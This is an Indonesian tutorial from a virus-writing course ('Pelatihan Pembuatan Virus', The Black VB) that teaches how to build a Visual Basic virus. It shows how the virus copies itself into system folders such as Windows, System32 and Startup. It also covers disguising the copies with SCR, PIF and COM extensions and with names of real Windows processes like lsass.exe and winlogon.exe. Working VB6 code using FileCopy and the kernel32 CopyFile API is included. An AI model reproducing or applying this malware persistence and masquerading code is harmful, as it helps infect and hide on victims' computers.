Pelatihan Pembuatan Virus
Penggandaan Ke Sistem The Black VB
Penggandaan Ke Sistem Ketika virus dijalankan oleh seseorang maka virus tersebut akan mulai melakukan aktivitasnya sebagai virus yaitu dengan melakukan penggandaan ke system computer (Infeksi ke system). Hal ini dilakukan agar virus tetap berada pada system meskipun sarana media penyebarannya telah dilepas, virus tersebut akan tetap aktif dengan cara mengaktifkan virus yang ter-copy di system sehingga system benarbenar telah terinfeksi oleh virus. Lokasi folder penggandaan virus pada system: 1. Windows (Winnt untuk windows NT) 2. System32 (System untuk windows 9x) 3. Startup 4. Application Data Lokasi diatas biasanya yang paling sering digunakan oleh virus. Mengapa harus lokasi tersebut? Karena untuk orang awam lokasi tersebut merupakan lokasi dimana file nya tidak boleh dihapus, karena hampir semua file yang ada pada folder tersebut merupakan file penting karena jika terjadi penghapusan terhadap file diperlukan oleh windows maka windows akan mengalami kerusakan. Dan hal ini dimanfaatkan oleh virus untuk melindungi dirinya. Selain lokasi folder virus juga melakukan perubahan extensi untuk menyamar agar virus tersebut sulit dicari. Extensi file yang sering digunakan oleh virus pada saat melakukan penggadaan pada system: 1. EXE 2. SCR 3. COM 4. PIF Extensi diatas semuanya memiliki cara akses yang sama. Meskipun terjadi perubahan extensi, virus tersebut tetap akan berjalan dengan normal. SCR digunakan virus untuk menyamar sebagai Screen Saver sehingga virus tersebut akan aktif jika Screen Saver aktif. Dan tentunya dengan melakukan sedikit perubahan pada registry agar virus tersebut menjadi Default pada Screen Saver. Agar penyamaran sukses virus juga menggunakan penamaan yang hampir sama dengan file system atau bahkan memang sama hanya saja lokasi file tersebut yang berbeda. Penamaan file yang sering digunakan virus pada system: 1. winlogon.exe 2. lsass.exe 3. services.exe 4. csrss.exe 5. smss.exe DNA [eXTR!M] Memori Club
Page 3
Pelatihan Pembuatan Virus
Penggandaan Ke Sistem The Black VB
6. svchost.exe 7. System 8. taskmgr.exe 9. explorer.exe 10. iexplorer.exe 11. notepad.exe 12. winword.exe Dengan menggunakan penamaan file seperti itu. Virus tersebut dapat membuat bingung orang terserang virus tersebut karena mereka tidak tahu apakah file tersebut benar-benar file system yang asli atau yang palsu (virus). Penamaan file yang bermasalah pada task manager adalah winlogon.exe, lsass.exe, services.exe, csrss.exe, smss.exe. Karena file tersebut justru akan dilindungi oleh task manager sehingga tidak dapat matikan prosesnya oleh task manager. Berikut ini adalah kode sederhana untuk melakukan penggandaan ke system Penggunaan perintah FileCopy: FileCopy sumber,tujuan Dim lokasi As String Dim namafile As String Private Sub Form_Load() With App lokasi = .Path & "\" namafile = .EXEName & ".exe" End With FileCopy FileCopy FileCopy FileCopy
lokasi lokasi lokasi lokasi
& & & &
namafile, namafile, namafile, namafile,
"C:\virus.exe" "C:\Windows\virus.com" "C:\Windows\virus.pif" "C:\Windows\System32\virus.scr"
End Sub
Dari perintah tersebut kita dapat mengetahui bahwa ketika virus dijalankan maka virus tersebut akan melakukan penggandaan diri pada drive C: C:\virus.exe C:\Window\virus.com C:\Windows\virus.pif C:\Windows\System32\virus.scr
Berikut ini adalah proses penggandaan dengan menggunkan perintah API: Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ ByVal bFailIfExists As Long) As Long
DNA [eXTR!M] Memori Club
Page 4
Pelatihan Pembuatan Virus
Penggandaan Ke Sistem The Black VB
Dim lokasi As String Dim namafile As String Private Sub Form_Load() With App lokasi = .Path & "\" namafile = .EXEName & ".exe" End With CopyFile CopyFile CopyFile CopyFile
lokasi lokasi lokasi lokasi
& & & &
namafile, namafile, namafile, namafile,
"C:\virus.exe", 0 "C:\Windows\virus.com", 0 "C:\windows\virus.pif", 0 "C:\windows\system32\virus.scr", 0
End Sub
Cara penggunaannya hampir sama. Jika kita penggunakan perintah API berarti kita akan menggunakan perintah yang terhubung langsung dengan Sistem Operasi, tetapi jika kita menggunakan perintah FileCopy itu berarti kita menggunakan perintah yang telah disediakan oleh visual basic. Setelah visual basic mengenal perintah perintah tersebut baru visual basic akan mengirimkan perintah ke system operasi. Berikut ini adalah kode penggandaan pada tempat-tempat yang dianggap penting oleh Windows. Siapkan satu form dengan 5 buah command button dan satu buah module. Ketikan pada Form1: Dim lokasi As String Dim namafile As String Dim tujuan As String Private Sub Command1_Click() tujuan = GetSpecialfolder(CSIDL_DESKTOP) CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0 MsgBox tujuan End Sub Private Sub Command2_Click() tujuan = GetSpecialfolder(CSIDL_PERSONAL) CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0 MsgBox tujuan End Sub Private Sub Command3_Click() tujuan = GetSpecialfolder(CSIDL_STARTUP) CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0 MsgBox tujuan End Sub
DNA [eXTR!M] Memori Club
Page 5
Pelatihan Pembuatan Virus
Penggandaan Ke Sistem The Black VB
Private Sub Command4_Click() tujuan = GetWindowsPath CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0 MsgBox tujuan End Sub Private Sub Command5_Click() tujuan = GetSystemPath CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0 MsgBox tujuan End Sub Private Sub Form_Load() With App lokasi = .Path & "\" namafile = .EXEName & ".exe" End With End Sub
Ketikan pada module:
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ ByVal bFailIfExists As Long) As Long Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" _ (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias _ "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias _ "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function CreateDirectory Lib "kernel32" Alias _ "CreateDirectoryA" (ByVal lpPathName As String, _ lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long Public Type SHITEMID cb As Long abID As Byte End Type Public Type ITEMIDLIST mkid As SHITEMID End Type Public Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long
DNA [eXTR!M] Memori Club
Page 6
Pelatihan Pembuatan Virus
Penggandaan Ke Sistem The Black VB
End Type Enum SFolder CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk 'semua namespace (/Desktop) CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program 'user (/Programs) CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon 'aplikasi Control Panel (/Control Panel) CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer'printer yang diinstall (/Printers) CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk 'menyimpan dokumen umum user (/My Document) CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite 'user (/Favorites) CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp 'user (/Startup) CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen 'yang sering digunakan (/Recent) CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To '(/Send To) CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file 'pada RecycleBin user (/Recycle Bin) CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item 'menu Start (/StartMenu) CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan 'digunakan untuk menyimpan objek file secara 'fisik pada desktop CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada 'komputer lokal (/My Computer) CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang 'kemungkinan ada pda folder virtual My Network Places '(/My Network Places) CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari 'hierarki namespace network (/NetHood) CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT) CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan 'dokumen template (/Template) End Enum 'Get special folder Public Function GetSpecialfolder(JenisFolder As SFolder) As String Dim r As Long Dim IDL As ITEMIDLIST 'get special folder r = SHGetSpecialFolderLocation(100, JenisFolder, IDL) If r = NOERROR Then 'create buffer Path$ = Space$(512) 'Get path from IDList(IDL) r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) 'Remove chr$(0) GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1) Exit Function End If GetSpecialfolder = "" End Function 'Get System Path Public Function GetSystemPath() As String
DNA [eXTR!M] Memori Club
Page 7
Pelatihan Pembuatan Virus
Penggandaan Ke Sistem The Black VB
On Error Resume Next Dim Buffer As String * 255 Dim x As Long x = GetSystemDirectory(Buffer, 255) GetSystemPath = Left(Buffer, x) & "\" End Function 'Get Windows Path Public Function GetWindowsPath() As String On Error Resume Next Dim Buffer As String * 255 Dim x As Long x = GetWindowsDirectory(Buffer, 255) GetWindowsPath = Left(Buffer, x) & "\" End Function
Dengan menggunakan perintah diatas kita dapat membuat kode untuk penggandaan pada folder yang dianggap penting oleh windows.
DNA [eXTR!M] Memori Club
Page 8